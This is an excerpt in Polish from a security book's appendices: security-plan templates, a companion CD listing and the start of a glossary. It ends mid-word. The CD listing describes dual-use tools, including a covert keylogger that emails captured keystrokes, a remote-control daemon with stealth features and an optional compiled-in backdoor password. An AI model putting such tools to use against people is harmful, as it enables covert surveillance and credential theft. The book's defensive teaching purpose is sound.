Ochrona fizyczna i środowiskowa 

Opisać fizyczne zabezpieczenia systemu. Opisać obszar, na którym odbywa się przetwa-
rzanie informacji (na przykład blokady terminali, ogrodzenie wokół budynków lub te-
renów  organizacji  itp.).  NaleŜy  omówić  takie  czynniki,  jak  kontrola  dostępu,  bezpie-
czeństwo  poŜarowe,  awaria  systemów  wsparcia,  zawalenie  budynku,  awaria  kanalizacji, 
przechwycenie danych oraz systemy mobilne i przenośne. 

Kontrola produkcyjna oraz kontrola wejścia i wyjścia 

Opisać środki kontroli uŜywane do oznaczania, traktowania, przetwarzania, przecho-
wywania  oraz  usuwania  informacji  i  nośników  wejściowych  i  wyjściowych,  a  takŜe 
procedury etykietowania i dystrybucji informacji i nośników. Przedstawić listę  środ-
ków  kontroli  do  monitorowania  instalacji  i  aktualizacji  oprogramowania  aplikacji. 
Zamieścić  opis  stosowanych  procedur,  które  obsługują  działanie  aplikacji.  PoniŜej 
znajduje się kilka przykładów tematów, które powinny zostać omówione. 









 

Wsparcie dla uŜytkowników: Czy istnieje komórka lub grupa ludzi zajmująca 
się pomocą dla uŜytkowników?  









 

Procedury, dzięki którym nieautoryzowane osoby nie mogą odczytać, 
skopiować, zmienić ani ukraść wydrukowanych lub elektronicznych informacji. 









 

Procedury, dzięki którym tylko autoryzowani uŜytkownicy mogą pobrać, 
odebrać lub dostarczyć informacje wejściowe i wyjściowe oraz nośniki. 









 

Ś

ledzenie odbioru waŜnych danych wejściowych i wyjściowych. 









 

Procedury ograniczające dostęp do urządzeń wyjściowych. 









 

Procedury i środki kontroli przy transporcie lub wysyłce nośników i wydruków. 









 

Zewnętrzny lub wewnętrzny system znakowania wraŜliwości informacji. 









 

Zewnętrzny system znakowania z instrukcjami dotyczącymi sposobu 
traktowania (na przykład identyfikatory dziennika lub inwentarza, kontrolowany 
dostęp, specjalne instrukcje dotyczące przechowywania, data wysłania 
lub zniszczenia). 









 

Kontrola śladów do celów zarządzania inwentarzem. 









 

Procedury i środki kontroli fizycznej i środowiskowej ochrony miejsca 
przechowywania nośników i biblioteki. 









 

Procedury czyszczenia nośników elektronicznych w celu ponownego uŜycia 
(na przykład nadpisanie lub rozmagnesowanie nośników elektronicznych). 









 

Procedury kontrolowanego przechowywania, obsługi i zniszczenia uszkodzonych 
nośników lub takich, które nie mogą być wyczyszczone w celu ponownego 
uŜycia. 









 

Procedury fizycznego zniszczenia wydruków, które nie są juŜ potrzebne. 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

373 

 

373

 

Planowanie awaryjne 

Krótko  opisać  procedury  (plan  zapasowy),  które  pozwolą  na  kontynuację  obsługi 
przez  system  wszystkich  krytycznych  aplikacji  w  przypadku  wystąpienia  katastrofy. 
Jeśli formalny plan zapasowy został w pełni utworzony, naleŜy umieścić odnośnik do 
niego. Kopia planu zapasowego moŜe być załącznikiem. W tej sekcji naleŜy dołączyć 
następujące, wymienione poniŜej, elementy. 









 

Wszystkie umowy o obsługę archiwizacji (na przykład kontrakt z komercyjnym 
dostawcą usług). 









 

Udokumentowane procedury archiwizacji, włączając ich częstotliwość 
(codziennie, tygodniowo, miesięcznie) oraz zakres (pełna kopia awaryjna, 
kopia przyrostowa lub róŜnicowa). 









 

Miejsce przechowywania kopii zapasowych oraz liczbę utrzymywanych 
generacji kopii zapasowych. 









 

Czy istnieją przetestowane plany zapasowe na wypadek wystąpienia groźnego 
zdarzenia? Jak często są testowane? 









 

Czy wszyscy pracownicy zostali przeszkoleni w zakresie swoich ról 
i odpowiedzialności dotyczących planów awaryjnych, ratunkowych 
i na wypadek katastrofy? 

Kontrola obsługi sprzętu i oprogramowania 

Te środki kontroli obejmują: 









 

restrykcje oraz środki kontroli osób wykonujących obsługę lub naprawę systemu; 









 

specjalne procedury pozwalające na zapewnienie odpowiedniej wydajności 
naprawy i obsługi; 









 

procedury stosowane dla elementów serwisowanych na miejscu oraz poza 
organizacją (na przykład towarzyszenie serwisantom, oczyszczanie nośników 
zabieranych z biura); 









 

procedury stosowane do kontroli usług zdalnej obsługi, kiedy procedury 
diagnostyczne lub serwisowe są wykonywane przy uŜyciu mediów 
telekomunikacyjnych; 









 

kontrola wersji, która pozwala na powiązanie komponentów systemu 
z właściwą wersją systemu; 









 

procedury testowania i zatwierdzania komponentów systemu (system 
operacyjny, inny system, narzędzia i aplikacje) przed przekazaniem do uŜytku; 









 

analizy wpływu efektu proponowanych zmian na istniejące środki kontroli 
zabezpieczeń, co obejmuje takŜe wymagane szkolenia zarówno dla techników, 
jak i uŜytkowników, odnoszące się do proponowanej zmiany w oprogramowaniu 
lub sprzęcie; 









 

procedury zmiany identyfikacji, akceptacji i dokumentacji; 

background image

 
374 

Hack Wars. Tom 2. Na tropie hakerów 

374 

 









 

procedury pozwalające upewnić się, czy plany zapasowe i powiązana 
dokumentacja jest aktualizowana wraz ze zmianami systemu; 









 

ustalenie, czy dane testowe były danymi rzeczywistymi, czy spreparowanymi; 









 

zasady organizacji dotyczące nielegalnego uŜycia oprogramowania objętego 
prawami autorskimi lub typu shareware. 

Kontrola integralności 









 

Czy zainstalowano oprogramowanie do wykrywania i eliminacji wirusów? 
Jeśli tak, to czy istnieją procedury do aktualizacji plików podpisów wirusów, 
automatycznego lub ręcznego skanowania antywirusowego oraz usuwania 
wirusów i tworzenia raportów? 









 

Czy stosowane są przez system procedury kontrolne — na przykład sumy 
kontrolne, sumy hash i liczniki rekordów? NaleŜy dołączyć opis działań 
podjętych w celu usunięcia wszelkich niezgodności. 









 

Czy uŜywane są narzędzia do sprawdzania i łamania haseł? 









 

Czy aplikacje korzystają z programów do weryfikacji integralności w celu 
wyszukania dowodów na manipulację danymi, błędów oraz pominięć?  









 

Czy w systemie zainstalowano narzędzia do wykrywania włamania? 









 

Czy uŜywana jest funkcja monitorowania wydajności systemu w celu analizy 
dzienników wydajności systemu w czasie rzeczywistym, wyszukiwania 
problemów z dostępnością (włączając w to aktywne ataki) oraz awarii lub 
spowolnienia pracy systemu i sieci? 









 

Czy w systemie są wykonywane testy penetracji? Jeśli tak, to jakie procedury 
są stosowane w celu zapewnienia prawidłowego wykonywania takich testów? 









 

Czy system uŜywa funkcji uwierzytelniania wiadomości w celu upewnienia 
się, czy nadawca wiadomości jest znany, a wiadomość nie została zmieniona 
w czasie transmisji?  

Dokumentacja 

Dokumentacja systemu obejmuje opisy sprzętu i programów, zasady, standardy, pro-
cedury oraz akceptacje odnoszące się do bezpieczeństwa zautomatyzowanego systemu in-
formatycznego (aplikacja oraz system obsługi, na którym jest ona wykonywana). Na-
leŜy tu takŜe dołączyć opis procedur archiwizacji oraz planu zapasowego, a takŜe opis 
procedur uŜytkownika i operatora. 









 

Przedstawić listę dokumentacji systemu (dokumentacja sprzętu i programów 
producenta, wymagania funkcjonalne, plan zabezpieczeń, plan zabezpieczeń 
systemu ogólnego wsparcia, podręczniki aplikacji, dokumentacja wyników 
testów, standardowe procedury operacyjne, procedury awaryjne, plany zapasowe, 
zasady i procedury uŜytkownika, ocena ryzyka, dokumenty i oświadczenia 
o certyfikatach i akredytacji, przeglądy weryfikacyjne i inspekcje). 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

375 

 

375

 

Znajomość zabezpieczeń i szkolenia 









 

Opisać program świadomości systemu (plakaty, foldery i inne). 









 

Opisać typ i częstotliwość szkoleń w zakresie obsługi systemu ogólnego 
wsparcia, przeprowadzanych dla pracowników oraz osób współpracujących 
(seminaria, warsztaty, zajęcia w klasach, grupy dyskusyjne, odgrywanie ról 
oraz szkolenie w trakcie pracy). 









 

Opisać procedurę sprawdzania, czy pracownicy i osoby współpracujące 
przeszły niezbędne szkolenia. 

MoŜliwość zgłaszania wypadków naruszenia bezpieczeństwa 









 

Czy istnieją procedury zgłaszania naruszeń bezpieczeństwa, obsługiwane 
przez personel organizacji lub na zewnątrz? 









 

Czy istnieją procedury rozpoznawania i reakcji na takie zdarzenia (na przykład, 
które pliki i dzienniki powinny być zachowane, z kim i kiedy naleŜy się 
skontaktować)? 









 

Kto odbiera i odpowiada na alarmy i informacje o poprawkach 
oprogramowania lub o zbadanych słabych punktach? 









 

Jakie stosuje się środki zabezpieczające (na przykład narzędzia do wykrywania 
włamania, zautomatyzowane dzienniki kontroli, testy penetracji)? 

Kontrola techniczna 

Identyfikacja i uwierzytelnianie 









 

Opisać metodę uwierzytelniania uŜytkowników (hasło, token lub cechy 
biometryczne). 









 

Jeśli stosowany jest system haseł, podaj następujące informacje: 



 

dozwolony zestaw znaków; 



 

długość hasła (minimalna i maksymalna); 



 

okres upływu waŜności hasła oraz sposób wymuszania jego zmiany; 



 

liczbę niedozwolonych generacji starych haseł; 



 

procedury zmiany hasła; 



 

procedury obsługi zagubionych haseł; 



 

procedury obsługi naruszenia systemu haseł. 









 

Opisać procedury szkolenia uŜytkowników oraz uŜyte materiały. 









 

Wskazać częstotliwość zmiany haseł, opisać sposób wymuszenia zmiany 
hasła (na przykład przez program lub administratora systemu) oraz podać 
osobę, która zmienia hasło (uŜytkownik, system lub administrator systemu). 

background image

 
376 

Hack Wars. Tom 2. Na tropie hakerów 

376 

 









 

Opisać stosowane sposoby kontroli cech biometrycznych. NaleŜy dołączyć 
opis sposobu implementacji tych sposobów w systemie. 









 

Opisać uŜywane przez system środki kontroli tokenów oraz sposób ich 
implementacji.  









 

Opisać poziom wymuszania mechanizmu kontroli dostępu (sieć, system 
operacyjny lub aplikacja). 









 

Opisać sposób obsługi poszczególnych kont i kontroli śladów (na przykład, 
czy hasła są powiązane z identyfikatorem uŜytkownika, który jest przydzielony 
tylko dla jednej osoby) przez mechanizm kontroli dostępu. 









 

Opisać techniki własnego zabezpieczenia mechanizmu uwierzytelniania 
uŜytkownika (na przykład, czy hasła są przesyłane i przechowywane 
przy uŜyciu jednokierunkowego szyfrowania tak, Ŝe nikt, włączając w to 
administratora, nie moŜe odczytać haseł w czystym tekście; czy hasła są 
generowane automatycznie; czy hasła są porównywane ze słownikiem 
niedozwolonych haseł; czy hasła są szyfrowane w czasie przesyłania). 









 

Podać liczbę nieudanych prób dostępu, jaka moŜe wystąpić dla danego 
identyfikatora uŜytkownika lub miejsca dostępu (terminal lub port), 
a takŜe opisać działania, jakie zostaną podjęte po przekroczeniu limitu. 









 

Opisać procedurę weryfikacji, czy zostały zmienione wszystkie domyślne 
hasła administratorów ustawionych systemowo. 









 

Opisać procedury ograniczania skryptów dostępowych z dołączonym hasłem 
(na przykład, czy skrypty z dołączonym hasłem są zabronione lub dozwolone 
tylko dla aplikacji wsadowych). 









 

Opisać wszystkie zasady, które pozwalają na pominięcie wymagań dotyczących 
uwierzytelniania uŜytkownika, technologie „pojedynczego podpisu” (na przykład 
bezpośrednie połączenie dwóch komputerów, serwery uwierzytelniania, 
identyfikator „uŜytkownik do hosta” oraz identyfikatory grup uŜytkowników), 
a takŜe wszystkie środki kontroli naruszenia uwierzytelniania. 

Logiczna kontrola dostępu 









 

Omówić środki kontroli, które są stosowane do autoryzacji lub ograniczenia 
działalności uŜytkowników lub personelu systemowego w ramach aplikacji. 
Opisać funkcje sprzętu lub oprogramowania, które zostały utworzone w celu 
umoŜliwienia tylko autoryzowanego dostępu do aplikacji lub wewnątrz niej, 
do ograniczenia działań uŜytkowników tylko do autoryzowanych transakcji 
i funkcji, a takŜe do wykrywania nieautoryzowanych działań (na przykład 
listy kontroli dostępu ACL).  









 

Opisać sposób przyznawania uprawnień dostępowych. Czy przywileje są 
przydzielane w oparciu o wykonywane zadania? 









 

Opisać moŜliwość utworzenia przez aplikację listy kontroli dostępu ACL 
lub rejestru. 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

377 

 

377

 









 

Opisać sposób, w jaki ogranicza się uŜytkownikom aplikacji dostęp do 
systemu operacyjnego, innych aplikacji lub innych zasobów systemowych, 
które nie są wymagane podczas wykonywania przez nich swoich obowiązków. 









 

Opisać środki kontroli uŜywane do wykrywania nieautoryzowanych prób 
transakcji przez autoryzowanych lub nieautoryzowanych uŜytkowników. 
Opisać wszystkie ograniczenia, które uniemoŜliwiają uŜytkownikom 
uzyskanie dostępu do systemu lub aplikacji poza normalnymi godzinami 
pracy lub w czasie weekendów. NaleŜy opisać zastosowane ograniczenia. 









 

Wskazać, po jakim okresie braku aktywności uŜytkownika system automatycznie 
oczyszcza wyświetlany obraz, a po jakim czasie system automatycznie 
odłącza nieaktywnych uŜytkowników lub wymaga od nich ponownego 
podania unikalnego hasła w celu przyłączenia się do systemu lub aplikacji. 









 

Wskazać, czy do uniemoŜliwienia nieautoryzowanego dostępu do wraŜliwych 
plików jest stosowane szyfrowanie jako część procedur kontroli dostępu 
do systemu lub aplikacji.  









 

Uzasadnić decyzję o uŜyciu banerów ostrzegawczych lub ich braku; dołączyć 
przykłady uŜywanych banerów. 

Śledzenie śladów 









 

Czy funkcja śledzenia śladów współpracuje z funkcją obsługi kont, dzięki 
czemu moŜna uzyskać zapis działań uŜytkownika? 









 

Czy funkcja śledzenia śladów została zaprojektowana i wdroŜona w celu 
zapisywania niezbędnych informacji, które mogą pomóc w wykrywaniu 
włamania? 









 

Czy funkcja śledzenia śladów obejmuje wystarczająco duŜo informacji, 
aby ustalić typ zdarzeń i ich sprawcę? NaleŜy tu umieścić typ zdarzenia, datę 
wystąpienia zdarzenia, identyfikator uŜytkownika powiązany ze zdarzeniem 
oraz program lub polecenie uŜyte do rozpoczęcia zdarzenia. 









 

Czy dostęp do dzienników funkcji śledzenia jest ściśle kontrolowany? 









 

Czy zapewniona jest poufność informacji funkcji śledzenia śladów, jeśli 
na przykład są zapisywane osobiste dane uŜytkowników? 









 

Jak często są przeglądane dane funkcji śledzenia śladów? Czy istnieją zasady 
takiego przeglądu? 









 

Czy właściwy administrator na poziomie systemu lub aplikacji przegląda 
dane funkcji śledzenia śladów, badając znany problem systemu albo aplikacji, 
znany przypadek naruszenia istniejących wymagań przez uŜytkownika 
lub niewyjaśniony problem związany z systemem lub uŜytkownikiem? 

 

background image

 
378 

Hack Wars. Tom 2. Na tropie hakerów 

378 

 

 

 

 

 

 
 

background image

 

379

 

Dodatek C 

Zawartość płyty CD 

Dołączony do tej ksiąŜki CD-ROM zawiera programy, kody źródłowe oraz pliki, o któ-
rych  wspomniano  w  tym  tomie.  Zawartość  płyty  podzielono  na  następujące  foldery: 
Roz_1Roz_2Roz_3_4TigerSurf oraz Lista portów

Rozdział 1. 

Folder Roz_1 zawiera następujące podkatalogi: 









 

Tcp_wrappers. Kolekcja osłon TCP z przykładowymi kompilacjami tcpd. 
Obsługiwane są następujące systemy operacyjne UNIX: AIX, Digital, HP-UX, 
Solaris, SunOS i Linux. 









 

TigerFTPServ. Kompilacja FTP dla domowych i prywatnych uŜytkowników, 
którzy wolą mieć pełną kontrolę nad tą usługą. Ten program pozwala 
uŜytkownikom na udostępnienie dostępu FTP dla znajomych i członków 
rodziny. Dostępne funkcje to opcje poleceń, uprawnienia dostępu do plików 
i katalogów oraz opcje potoków sesji. Program zawiera takŜe szperacza sesji, 
dzięki któremu wszystkie Ŝądania połączenia i status transmisji są wyświetlane 
w czasie rzeczywistym. TigerFTPServ moŜe być modyfikowany, dystrybuowany 
i wykorzystywany w dowolny sposób. 









 

TigerTelnetServ. Ten program pozwala domowym i prywatnym uŜytkownikom, 
którzy wolą mieć pełną kontrolę nad bezpieczeństwem, na udostępnienie 
bezpiecznego dostępu telnetowego dla własnych celów, a takŜe dla znajomych 
i członków rodziny. TigerTelnetServ moŜe być modyfikowany, dystrybuowany 
i wykorzystywany w dowolny sposób. Polecenia obsługiwane przez tę wersję 
obejmują przeglądanie katalogów, podgląd plików, wyszukiwanie uŜytkownika, 
rozłączenie uŜytkownika oraz wyłączenie demona. MoŜliwe jest dodanie 
kolejnych funkcji. 









 

TigerTFTPServ. Program dla domowych i prywatnych uŜytkowników, 
którzy chcą uzyskać pewną kontrolę nad usługą TFTP. TigerTFTPServ 
to okrojona wersja FTP, nasłuchująca na porcie 69 Ŝądań połączeń TFTP. 

background image

 
380 

Hack Wars. Tom 2. Na tropie hakerów 

380 

 

Zgodnie z zasadami TFTP program pozwala tylko na jeden potok połączenia 
(maksymalna liczba połączeń moŜe być łatwo zmodyfikowana) do pojedynczego 
katalogu w celu transferu pliku. MoŜliwa jest modyfikacja kodu narzędzia 
w celu akceptacji uwierzytelnionych uŜytkowników. Ta wersja obsługuje 
anonimowe sesje; dołączono takŜe szperacza sesji w celu monitorowania 
kaŜdego transferu z katalogu c:/tftp









 

TigerInspect. Program umoŜliwia skanowanie portów wraz z zarządzaniem 
listami usług oraz funkcjami dla uŜytkowników domowych, prywatnych 
i korporacyjnych. Ta wersja pozwala na pięć jednoczesnych wątków pracy, 
co oznacza, iŜ po uruchomieniu program będzie skanował pięć portów. Liczba 
wątków moŜe być zwiększona przez dodanie potoków 

Winsock

(

x

), gdzie (

x

wskazuje następny wątek (w tym przypadku sześć). 









 

Konie trojańskie. Folder zawiera programy AntiGen i BoDetect, które 
automatycznie wykrywają, oczyszczają i usuwają z komputerów program 
BoServ (Back Orifice Server). AntiGen to darmowy program z firmy Fresh 
Sofware. Uwaga: choć oba narzędzia działają sprawnie, nowsze mutacje 
BoServ mogą pozostać niezauwaŜone. 

W folderze znajduje się takŜe NetBus Detective — sprytny mały programik, 
który nie tylko usuwa NetBusa z systemu, ale takŜe wyświetla odpowiedni 
komunikat dla niczego nie spodziewającego się hakera, jednocześnie 
zapisując jego adres IP i nazwę komputera. NetBus Protection System to kolejne 
narzędzie do wykrywania NetBusa, które moŜe zostać skonfigurowane na 
wyłączanie tej szkodliwej usługi oraz informowanie o zdalnym ataku hakera. 









 

TigerWipe. Program wyświetlający listę procesów systemowych, włączając 
w to zwykle ukryte procesy. UŜycie narzędzia jest proste — podświetl 
szkodliwy proces i kliknij przycisk Wipe. Dołączono takŜe kod źródłowy, 
więc uŜytkownicy mogą go modyfikować w celu automatyzacji technik 
opisanych w tej ksiąŜce. Ulepszony w ten sposób program staje się 
narzędziem do wykrywania koni trojańskich, które nie tylko przerywa 
szkodliwy proces, ale i wykonuje wszystkie kroki niezbędne do jego 
usunięcia. Zamieszczona na płycie wersja działa wyjątkowo dobrze jako 
ręczny interfejs. 









 

TigerGuard. Narzędzie do blokowania i obserwacji portów. TigerGuard 
pozwala uŜytkownikom tworzyć, ładować i zapisywać własne listy zasad. 
W obecnej wersji demon zapisuje zdalne ataki hakerów, blokuje je i alarmuje 
w wypadku ich wystąpienia. Jest to powiązane z zasadami zabezpieczeń 
uŜytkownika (TigerGuard obsługuje domyślnie do 500 własnych zasad). 
Aby szybko rozpocząć zabezpieczanie, moŜliwe jest wstępne załadowanie 
standardowej i domyślnej listy zasad. 









 

Lamer. Demon zdalnej kontroli połączony z technikami dystrybucji, które 
zostały opisane w rozdziale 1. W celu zapewnienia większego bezpieczeństwa 
wyłączono funkcje ukrytego serwera. Serwer i klient moŜe być uruchomiony 
na tej samej stacji roboczej w celu przetestowania. 

background image

 
Dodatek C 

 Zawartość płyty CD 

381 

 

381

 









 

Java. Napisana w Javie prosta i łatwa do implementacji adaptacja frontonu 
logowania. Skrypty logowania, ASP i VB oraz zabezpieczone hasłem pliki 
wykonywalne CGI mogą odstraszyć wielu napastników. 









 

TigerPass. Program bramy wewnętrznego logowania, który moŜe być łatwo 
przekonwertowany do frontonu CGI. Program automatycznie przeszukuje 
małą bazę danych login.mdb w celu uzyskania informacji o kontach dostępu 
i odnośnikach krzyŜowych. 









 

Loader.asm. StaroŜytny, tajny, chiński kod źródłowy osobistego programu 
do ładowania poprawek. 

Rozdział 2. 

Folder Roz_2 zawiera następujące programy: 









 

TigerLog. Program pozwalający na pełną, ukrytą kontrolę zapisu wszystkich 
wciskanych klawiszy; odpowiedni dla uŜytkowników domowych i prywatnych. 
TigerLog umoŜliwia modyfikację listy wciskanych klawiszy, które naleŜy 
przechwytywać, zmianę sekwencji klawiszy aktywacji widocznego szperacza 
sesji (aktualnie Shift+F12) oraz zmianę domyślnej nazwy i połoŜenia pliku 
dziennika (//Windows/System/TigerLog.TXT). Po zapełnieniu dziennika program 
wysyła jego zawartość na podany adres e-mailowy (ktos@serwer_poczty.com
przy uŜyciu serwera SMTP (poczta.serwer_poczty.net). 









 

BombSquad. Narzędzie utworzone głównie do usuwania bomb pocztowych 
z serwera, pozwalając jednocześnie na odczytanie i zapisanie waŜnych 
wiadomości. BombSquad moŜe być uŜyty dla kaŜdej skrzynki pocztowej, 
które obsługuje standardowy protokół POP3. 









 

TigerCrypt. Program uŜywa 128-bitowego szyfrowania w celu zapewnienia 
bezpieczeństwa i prywatności osobistych haseł. Ta wersja obsługuje wiele 
profili uŜytkowników. UŜytkownik wybiera zarejestrowany profil z rozwijanej 
listy lub utworzy nowy. Przez główny interfejs TygerCrypta uŜytkownicy 
mogą dodawać lub usuwać zaszyfrowane konta logowania. Program bezpiecznie 
przechowuje i odczytuje wiele nazw logowania, haseł, nazw serwerów 
i informacji o kontach; są one dostępne tylko po podaniu hasła danego profilu. 
Zaszyfrowane dane mogą być równieŜ eksportowane i importowane do plików.  

TigerCrypt zawiera takŜe generator losowych haseł w celu natychmiastowego 
tworzenia skomplikowanych haseł. Odpowiednia opcja interfejsu umoŜliwia 
wybór długości hasła oraz dostępnych znaków (duŜe i małe litery, cyfry, klawisze 
rozszerzone i symbole), które mają być losowo stosowane. 









 

Ifstatus. Popularny program uniksowy, który moŜe być uruchamiany 
w celu identyfikacji kart sieciowych pracujących w trybie podsłuchowym 
lub wykrywania błędów. To narzędzie nie wyświetla zwykle Ŝadnych 
komunikatów wynikowych, chyba Ŝe odnajdzie karty sieciowe pracujące 
w niezabezpieczonym trybie. 

background image

 
382 

Hack Wars. Tom 2. Na tropie hakerów 

382 

 









 

Encryptor. Program udostępniający funkcje szyfrowania dla uŜytkowników 
firmowych, domowych oraz prywatnych. Technika szyfrowania zapewnia 
proste funkcje szyfrowania w celu zabezpieczenia danych. Kod źródłowy nie 
jest skomplikowany, dzięki czemu jego modyfikacja do prywatnego uŜytku 
nie powinna być trudna. Aby zapisać dane do szyfrowania, naleŜy uŜyć listy 
katalogów po prawej stronie w celu dotarcia do ścieŜki, w której ma być 
umieszczony zaszyfrowany plik. W tym momencie naleŜy wprowadzić klucz 
szyfrowania i kliknąć Zapisz. Ładowanie zaszyfrowanych plików to po prostu 
ponowne uŜycie listy katalogów po prawej stronie i wybranie właściwego pliku. 









 

CGIScan. Skaner do wykrywania prób włamania, który umoŜliwia 
skanowanie CGI i ręczne testowanie słabości CGI. W chwili obecnej istnieje 
407 potencjalnych słabych punktów CGI, które naleŜy przetestować. 

Rozdziały 3. i 4. 

W folderze Roz_3_4 moŜna odnaleźć następujące narzędzia: 









 

WinLock. Program blokujący, który moŜe rozwiązać problemy z hasłem 
stacji roboczej. Po uruchomieniu naleŜy odblokować interfejs WinLocka 
w celu kontynuacji. W dowolnym momencie moŜna dokonać ręcznej 
aktywacji programu, na przykład przy opuszczaniu biura. Narzędzie moŜe 
być skonfigurowane na inicjalizację w czasie startu systemu. Opcją WinLocka 
jest umieszczenie hasła tylnych drzwi w czasie kompilacji kodu źródłowego. 









 

Port Watcher. Prosty program do obserwacji portów, będący przykładem 
firewalla. Port Watcher został uŜyty w rozdziale 3. jako środek 
zabezpieczający Windows NT przed atakiem DoS. 

TigerSurf 

TigerSurf  to  program  znajdujący  się  w  folderze  towarzyszącym  zawartości  rozdziału  4. 
i dodatku  A.  To  narzędzie,  które  obejmuje  bezpieczny,  wielopotokowy  mechanizm 
przeszukiwania  Internetu;  jest  oparty  o  bezpieczny  moduł  przeglądarki  internetowej. 
TigerSurf  ma  chronić  uŜytkowników  przed  szkodliwymi  stronami  sieciowymi,  prze-
pełnieniem  przeglądarki  (nigdy  więcej  ogromnej  liczby  wyskakujących  okien)  oraz 
zdalnymi  końmi  trojańskimi.  TigerSurf  obsługuje  wszystkie  wtyczki  Microsoft  Internet 
Explorer  oraz  własne  filtry,  a  takŜe  jest  kompatybilny  ze  wszystkimi  internetowymi 
językami programowania. Inne funkcje (opisane w kolejnych częściach) obejmują: 









 

edytor HTML, 









 

TigerWatch









 

TigerBlock









 

skanowanie zabezpieczeń, 









 

TigerSearch

background image

 
Dodatek C 

 Zawartość płyty CD 

383 

 

383

 









 

TigerTrack









 

FTP, 









 

Telnet, 









 

przechwytywanie ekranu,  









 

przeglądarkę zdjęć. 

Lista portów 

Na dołączonym do ksiąŜki CD-ROM-ie znajduje się równieŜ folder zawierający pełną 
listę  znanych  i  definiowanych  przez  producentów  portów  usług  aŜ  do  portu  49151. 
Numery portów są podzielone na dwie grupy: 









 

znane porty: od 0 do 1023, 









 

ukryte porty: od 1024 do 49151. 

Znane porty są przydzielane przez IANA, a w przypadku większości systemów mogą 
być  uŜywane  tylko  przez  procesy  systemowe  (lub  roota)  albo  procesy  uruchamiane 
przez  uprzywilejowanych  uŜytkowników.  Porty  są  uŜywane  przez  TCP  [RFC  793], 
aby  nazwać  końce  logicznych  połączeń,  które  przenoszą  długoterminowe  rozmowy. 
Kontaktowy  port  usługi  jest  definiowany,  aby  udostępnić  usługi  nieznanym,  wywołują-
cym je, osobom. Na liście znalazły się porty uŜywane przez procesy serwera jako porty 
kontaktowe.  Porty  kontaktowe  są  czasami  nazywane  „znanymi  portami”.  W  maksy-
malnym moŜliwym stopniu te same porty są uŜywane w przypadku UDP [RFC 768]. 
Zarządzane przez IANA porty obejmują zakres od 0 do 1023. 

 

background image

 
384 

Hack Wars. Tom 2. Na tropie hakerów 

384 

 

 

 

 

background image

 

389

 

Dodatek F 

Słowniczek najwaŜniejszych 
pojęć 

802.3 — standard IEEE 802.3. 

10BaseT  —  specyfikacja  IEEE  802.3  warstwy  fizycznej  sieci  Ethernet  o  przepusto-
wości 10 Mb/s opartej na nieekranowanym dwuparowym kablu, nazywanym skrętką. 

Akredytacja  —  rodzaj  poświadczenia  lub  certyfikatu,  wydanego  przez  wyznaczoną 
znaną  i  zaufaną  osobę  lub  organizację,  potwierdzającego  spełnienie  przez  aplikację 
określonego poziomu wymogów bezpieczeństwa. 

Aktywacja — moment i sposób, w jaki zostaje wykonany kod wirusa, infekując w tym 
momencie kolejny system operacyjny. Aby wirus mógł zarazić system, musi w nim zostać 
choćby raz uruchomiony. Samo skopiowanie nie  wystarcza, gdyŜ jest wtedy traktowany 
jak zwykłe dane. Muszą zajść okoliczności, w których system potraktuje dane zawierające 
wirusa jako kod wykonywalny czy skrypt. 

API (Application Programming Interface) — ustalony sposób komunikowania się 
systemu operacyjnego z warstwą aplikacji. 

ARP (Address Resolution Protocol) — protokół określający adres sprzętowy kom-
putera na podstawie numeru IP. 

ARPANET — eksperymentalna sieć komputerowa duŜego zasięgu, która w latach 60. 
pokryła Stany Zjednoczone. Jej realizacją zajmowała się ARPA (U.S. Department of 
Defense’s Advanced Research Projects Agency). 

ASCII  (American  Standard  Code  for  Information  Interchange)  —  uniwersalny 
standard kodowania numerycznego liter, cyfr, zbioru podstawowych znaków graficz-
nych i przestankowych oraz pewnej ilości znaków sterujących  w postaci 7 bitowych 
słów. Kiedyś brakujący bit uŜywany był jako tzw. „bit parzystości”, za pomocą którego 
moŜna było wykryć ewentualne błędy transmisji, teraz stosuje się go do rozszerzenia 
ilości znaków w standardzie. 

background image

 
390 

Hack Wars. Tom 2. Na tropie hakerów 

390 

 

Backdoor — patrz: „tylne drzwi”. 

Bajt  —  za  bajt  przyjęło  się  uznawać  jednostkę  składającą  się  z  8  bitów  informacji, 
gdyŜ  w  takich  najmniejszych  blokach są przetwarzane dane  w  większości  systemów 
komputerowych. 

Bind  —  serwer  usługi  DNS  (Domain  Name  Service)  tłumaczącej  nazwy  domen  na 
odpowiadające im adresy IP. 

Bit — jednocyfrowa liczba o podstawie 2 (0 lub 1); najmniejsza jednostka informacji. 

Bomby pocztowe — poczta elektroniczna wysyłana w celu zapchania skrzynki pocz-
towej ofiary, spam. Bomby pocztowe z reguły przybierają  postać  niewielkiej ilości li-
stów z duŜymi załącznikami lub teŜ tysięcy małych wiadomości. 

Bootp  —  usługa  pozwalająca  na  przydzielanie  podłączonym  do  sieci  komputerom 
bez pamięci dyskowej ich własnych adresów IP. Bootp identyfikuje komputery Ŝąda-
jące przydzielenia adresu  na  podstawie ich konfiguracji sprzętowej,  w szczególności 
adresu MAC wbudowanego w kartę sieciową. 

Buffer Flow Control — kontrola zajętości bufora — technika pozwalająca zapobie-
gać  przepełnieniom  buforów  powiązanych  ze  strumieniami  danych.  Kiedy  jeden 
z procesów wysyła przez strumień większą ilość danych, niŜ drugi jest w stanie odebrać, 
jest on zatrzymywany, aby wolniejszy proces mógł nadąŜyć z odbieraniem i przetwa-
rzaniem danych. 

Buforowanie  —  technika  ułatwiająca  utrzymanie  ciągłości  strumienia  danych.  Buforo-
wanie  znakomicie  ułatwia  wyrównanie  prędkości  przetwarzania  danych  przez  procesy, 
znajdujące się na dwóch końcach strumienia. JeŜeli na przykład proces A ma przekazać 
procesowi B przez sieć pewną ilość informacji, A po prostu „wrzuca” dane do bufora 
po swojej stronie strumienia, nie martwiąc się o nie więcej. Następnie system operacyjny 
odczytuje sekwencyjnie dane z bufora, wysyłając je do gospodarza procesu B. System 
operacyjny po drugiej stronie strumienia  umieszcza dane  w buforze, z  którego proces B 
moŜe je w dowolnym momencie przeczytać. 

Cracker  —  osoba,  która  omija  zabezpieczenia  sieci  lub  określonego  systemu,  by 
uzyskać do niej nieautoryzowany dostęp, tzn. włamać się do systemu. Typowym celem 
takiej osoby jest nielegalne zdobycie poufnych informacji lub uŜycie systemu w jakikol-
wiek inny nielegalny sposób. 

CRC  (Cyclic  Redundancy  Check)  —  jest  sposobem  weryfikacji  poprawności  da-
